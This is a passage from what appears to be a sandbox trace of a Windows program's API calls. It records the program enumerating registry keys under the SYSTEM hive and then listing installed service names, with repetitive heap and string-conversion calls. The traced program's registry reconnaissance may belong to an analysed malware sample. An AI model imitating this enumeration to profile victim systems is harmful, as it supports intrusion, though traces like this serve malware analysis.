RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0255.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0255.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.299] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0255.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0255.299] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.299] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0255.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0255.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0255.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0255.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0255.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0255.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.300] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.300] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0255.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0255.300] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0255.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.301] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0255.301] RegCloseKey (hKey=0x148) returned 0x0 [0255.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0255.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0255.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0255.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0255.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.301] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0255.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0255.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0255.301] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0255.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0255.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0255.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0255.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.302] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0255.302] RegCloseKey (hKey=0x150) returned 0x0 [0255.302] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0255.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0255.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0255.302] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0255.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0255.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a00, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0255.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0255.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0255.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0255.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0255.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0255.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a00, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0255.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.303] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0255.303] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0255.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0255.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0255.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0255.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a00, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0255.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0255.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0255.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0255.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.304] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0255.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0255.304] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.304] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.305] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0255.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0255.305] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.305] RtlFreeHeap (HeapHandle=0x2520000, 